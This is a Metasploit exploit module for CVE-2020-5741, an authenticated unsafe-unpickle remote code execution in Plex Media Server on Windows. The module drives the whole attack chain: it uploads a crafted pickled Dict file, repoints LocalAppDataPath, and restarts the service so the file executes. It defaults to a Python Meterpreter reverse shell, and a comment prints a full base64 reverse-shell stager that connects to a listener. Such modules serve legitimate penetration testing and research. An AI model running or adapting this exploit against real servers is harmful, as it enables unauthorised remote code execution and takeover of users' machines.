##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Plex Unpickle Dict Windows RCE',
'Description' => %q{
This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker
can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable
LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes
an RCE as the user who started Plex.
Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab
the X-Plex-Token header. See info -d for additional details.
If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required
as subsuquent writes will make Dict-1, and not execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Chris Lyne' # discovery, POC
],
'References' =>
[
['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'],
['URL', 'https://www.tenable.com/security/research/tra-2020-32'],
['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'],
['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'],
['CVE', '2020-5741']
],
'Platform' => ['python'],
'Privileged' => false,
'Arch' => [ARCH_PYTHON],
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice
'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'May 7 2020',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(32400),
OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']),
OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']),
OptString.new('ALBUM_NAME', [true, 'Name of Album', '']),
OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15])
]
)
end
def album_name
if @album_name.nil?
@album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME']
end
@album_name
end
def create_photo_library
print_status('Adding new photo library')
res = send_request_cgi(
'method' => 'POST',
'uri' => '/library/sections',
'headers' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN'],
'Accept' => 'application/json'
},
'vars_get' =>
{
'name' => album_name,
'language' => 'en',
'agent' => 'com.plexapp.agents.none',
'location' => datastore['LIBRARY_PATH'],
'type' => 'photo',
'scanner' => 'Plex Photo Scanner'
}
)
# response:
# {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}}
# we need to pull ['MediaContainer']['Directory'][0]['key']
if res && res.code == 201 # 201 == Created
return res.get_json_document['MediaContainer']['Directory'][0]['key']
end
nil
end
def add_pickle(location)
print_status('Adding pickled Dict to library')
# This is the pickle code, generated on windows to ensure no cross platform
# issues were encountered
#######
# python (2.7 ships with Plex)
#######
# import pickle
#
# class EP(object):
# def __init__(self):
# pass
# def __reduce__(self):
# # for generating an approximately correct size and content, we use
# # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# # that payload is then added after runsource.
# # The original pre-meterp return would be
# # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
#
# e = EP()
# pickle.dumps(e)
# The output from that command will look similar to the following:
# 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'<input>\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.'
p = %|c__builtin__\neval\np0\n(S\'|
p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '<input>', 'exec')|.gsub("'", "\\\\'")
p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines...
filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/"
u = "type=13§ionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}"
# using raw here because the encodings for the filename got really wacky when using CGI
res = send_request_raw(
'method' => 'POST',
'uri' => "/library/metadata?#{u}Dict",
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] },
'ctype' => 'application/octet-stream',
'data' => p
)
if res && res.code == 401
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
delete_photo_library(location)
return false
end
# Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable
# register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict")
if res && res.code == 401
fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.')
delete_photo_library(location)
return false
end
true
end
def change_apppath(path)
print_status('Changing AppPath')
send_request_cgi(
'method' => 'PUT',
'uri' => '/:/prefs',
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN'],
'LocalAppDataPath' => path
}
)
end
def restart_plex
print_status('Restarting Plex')
send_request_cgi(
'method' => 'GET',
'uri' => '/:/plugins/com.plexapp.system/restart',
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN']
}
)
end
def delete_photo_library(library)
print_status('Deleting Photo Library')
send_request_cgi(
'method' => 'DELETE',
'uri' => "/library/sections/#{library}",
'vars_get' =>
{
'X-Plex-Token' => datastore['PLEX_TOKEN']
}
)
end
def ret_server_info
print_status('Gathering Plex Config')
res = send_request_cgi(
'uri' => '/',
'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }
)
unless res && res.code == 200
return nil
end
return Hash.from_xml(res.body)
end
def check
server = ret_server_info
if server.nil?
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration')
report_host({
host: datastore['RHOST'],
os_name: server['MediaContainer']['platform'],
os_flavor: server['MediaContainer']['platformVersion']
})
print_status("Server Name: #{server['MediaContainer']['friendlyName']}")
unless server['MediaContainer']['platform'] == 'Windows'
print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
return CheckCode::Safe('Only Windows OS is exploitable')
end
print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})")
v = Gem::Version.new(server['MediaContainer']['version'])
if v >= Gem::Version.new('1.19.3')
print_bad("Server Version: #{v}")
return CheckCode::Safe('Only < 1.19.3 is exploitable')
end
print_good("Server Version: #{server['MediaContainer']['version']}")
unless server['MediaContainer']['allowCameraUpload']
print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
return CheckCode::Safe('Camera Upload not enabled')
end
print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}")
CheckCode::Vulnerable
end
def exploit
if datastore['PLEX_TOKEN'].blank?
fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.')
end
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Server not vulnerable')
end
print_status("Using album name: #{album_name}")
id = create_photo_library
if id.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem')
end
print_good("Created Photo Library: #{id}")
success = add_pickle(id)
unless success
fail_with(Failure::UnexpectedReply, 'Unable to upload files to library')
end
change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}")
restart_plex
print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart")
Rex.sleep(datastore['REBOOT_SLEEP'])
print_status('Cleanup Phase: Reverting changes from exploitation')
change_apppath('')
restart_plex
delete_photo_library(id)
end
end